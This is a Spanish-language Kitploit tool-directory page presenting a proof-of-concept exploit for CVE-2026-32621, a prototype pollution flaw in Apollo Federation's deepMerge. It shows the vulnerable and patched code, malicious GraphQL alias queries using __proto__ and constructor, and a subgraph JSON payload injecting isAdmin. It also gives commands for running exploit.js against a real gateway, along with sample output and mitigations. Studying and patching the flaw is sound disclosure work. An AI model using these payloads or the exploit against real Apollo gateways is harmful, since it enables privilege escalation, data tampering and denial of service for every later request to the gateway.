Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability — Exploit PoC para CVE-2026-32621 que demuestra prototype pollution en deepMerge de Apollo Federation mediante aliases GraphQL elaborados, con pruebas de la versión parcheada. | Kitploit
Herramientas/GitHubGitHub/sam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad de APIs
GitHubsam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability

POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability

Exploit PoC para CVE-2026-32621 que demuestra prototype pollution en deepMerge de Apollo Federation mediante aliases GraphQL elaborados, con pruebas de la versión parcheada.

Ver Repositorio
3hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-32621 - PoC de contaminación de prototipos en Apollo Federation

Descripción general

CampoValor
CVECVE-2026-32621
CVSS9.9 Crítico
CWECWE-1321 (Contaminación de prototipos)
AfectadosApollo Federation < 2.9.6, < 2.10.5, < 2.11.6, < 2.12.3, < 2.13.2
Corregido2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
GHSAGHSA-pfjj-6f4p-rvmh

Descripción de la vulnerabilidad

La función deepMerge de Apollo Federation (utilizada en @apollo/query-planner y @apollo/gateway para fusionar las respuestas de los subgrafos durante la ejecución del plan de consulta) no sanea las claves antes de acceder a target[key].

Cuando un objeto fuente contiene __proto__ como propiedad propia (la cual JSON.parse crea), Object.keys() la incluye y target["__proto__"] resuelve a Object.prototype a través de la cadena de prototipos. La fusión escribe entonces propiedades directamente sobre Object.prototype, contaminando la cadena de prototipos global de todo el proceso Node.js.

Causa raíz

root@kitploit:~
// VULNERABLE (pre-patch)
for (const key of Object.keys(source)) {
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);  // target["__proto__"] = Object.prototype!
  } else {
    target[key] = source[key];            // Direct assignment to prototype
  }
}

// PATCHED (post-patch)
for (const key of Object.keys(source)) {
  defineOwn(target, key);  // <-- Fix: shadows prototype property with own property
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);
  }
}

Vectores de ataque

1. Lado del cliente (consulta GraphQL maliciosa)

Un cliente envía una consulta GraphQL con alias de campo llamados __proto__, constructor o prototype. Cuando el gateway procesa la respuesta, deepMerge usa estos alias como claves, contaminando Object.prototype.

root@kitploit:~
query {
  __proto__: products {
    polluted: id
  }
}

2. Lado del subgrafo (subgrafo comprometido)

Un subgrafo comprometido devuelve JSON con claves __proto__. Cuando el gateway fusiona la respuesta mediante deepMerge, Object.prototype se contamina.

root@kitploit:~
{"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}}

3. Cadena anidada

root@kitploit:~
query {
  constructor: products {
    prototype: id
  }
}

Impacto

  • Escalada de privilegios: Inyectar propiedades isAdmin, role, permissions
  • Denegación de servicio: Sobrescribir toString, valueOf con funciones nulas/rotas
  • Integridad de datos: Inyectar propiedades que afectan a la lógica de negocio
  • Persistente: La contaminación afecta a TODAS las solicitudes posteriores a la instancia del gateway
  • Entre solicitudes: Cualquier solicitud posterior al ataque ve los prototipos contaminados

Documentación

DocumentoContenido
USAGE.mdGuía de uso detallada con instrucciones paso a paso
DIAGRAM.mdDiagramas de estructura y visualización del flujo del ataque

Archivos

| Archivo | Propósito |

|------|---------| | exploit.js | Exploit principal con 5 vectores de ataque + demostración local | | test_exploit.js | Pruebas unitarias (15 pruebas que validan la contaminación y el parche) | | e2e_test.js | Validación de extremo a extremo (10 pruebas: gateway + exploit + verificación) | | setup_vulnerable.js | Simulador de gateway vulnerable para pruebas |

Uso

Inicio rápido (demostración local)

root@kitploit:~
# Run the local deepMerge vulnerability demonstration
node exploit.js

Esto demuestra la ruta de código vulnerable exacta sin necesidad de un gateway en ejecución.

Exploit completo (con gateway vulnerable)

root@kitploit:~
# Terminal 1: Start vulnerable gateway simulator
node setup_vulnerable.js 4000

# Terminal 2: Run exploit against gateway
node exploit.js -u http://localhost:4000/graphql

Ejecutar pruebas

root@kitploit:~
# Unit tests (15 tests)
node test_exploit.js

# End-to-end tests (10 tests - starts gateway, sends exploits, verifies pollution)
node e2e_test.js

Explotar un gateway real de Apollo

root@kitploit:~
# Target a real vulnerable Apollo Gateway instance
node exploit.js -u http://target-gateway:4000/graphql

Ejemplo de salida

root@kitploit:~
======================================================================
  CVE-2026-32621 - Apollo Federation Prototype Pollution
  CVSS 9.9 Critical | CWE-1321
  Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================

======================================================================
  Direct deepMerge Vulnerability Demonstration
  (Reproduces the exact vulnerable code path)
======================================================================

[Test 1] __proto__ pollution via JSON.parse source
  Source keys: __proto__
  source.__proto__ is own property: true
  VULNERABLE: Object.prototype.polluted_test1 = true
  PATCHED:    Object.prototype.polluted_test1 = undefined

[Test 2] constructor.prototype pollution
  VULNERABLE: Object.prototype.polluted_test2 = true
  PATCHED:    Object.prototype.polluted_test2 = undefined

--------------------------------------------------
  RESULTS SUMMARY
--------------------------------------------------
  [VULNERABLE] __proto__ via JSON.parse
  [SAFE]       __proto__ via JSON.parse (patched)
  [VULNERABLE] constructor.prototype
  [SAFE]       constructor.prototype (patched)

Diagrama de la cadena de ataque

root@kitploit:~
Client            Apollo Gateway              Subgraph
  │                   │                         │
  │  GraphQL query    │                         │
  │  with __proto__   │                         │
  │  field alias      │                         │
  │ ────────────────► │  Forward query          │
  │                   │ ──────────────────────► │
  │                   │                         │
  │                   │  JSON response with     │
  │                   │  __proto__ as own prop  │
  │                   │ ◄────────────────────── │
  │                   │                         │
  │                   │  deepMerge() called     │
  │                   │  target["__proto__"]   │
  │                   │  → Object.prototype     │
  │                   │  ⚠ POLLUTED!            │
  │                   │                         │
  │  200 OK           │                         │
  │  polluted: true   │                         │
  │ ◄──────────────── │                         │
  │                   │                         │
  │  ALL subsequent requests inherit polluted   │
  │  properties (isAdmin, polluted, etc.)       │

Consulta DIAGRAM.md para ver los diagramas completos de arquitectura.

Mitigación

  1. Actualiza a las versiones corregidas: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
  2. Filtrado de entrada: Bloquear operaciones GraphQL que contengan __proto__, constructor, prototype en alias de campo y nombres de variables
  3. Confianza en subgrafos: Asegurar que todos los subgrafos provienen de fuentes confiables
  4. Object.create(null): Usar objetos con prototipo nulo cuando sea posible

Referencias

  • Entrada NVD
  • Aviso de GitHub GHSA-pfjj-6f4p-rvmh
  • Aviso de seguridad de Apollo Federation
  • CWE-1321

Licencia

MIT

Descargar herramienta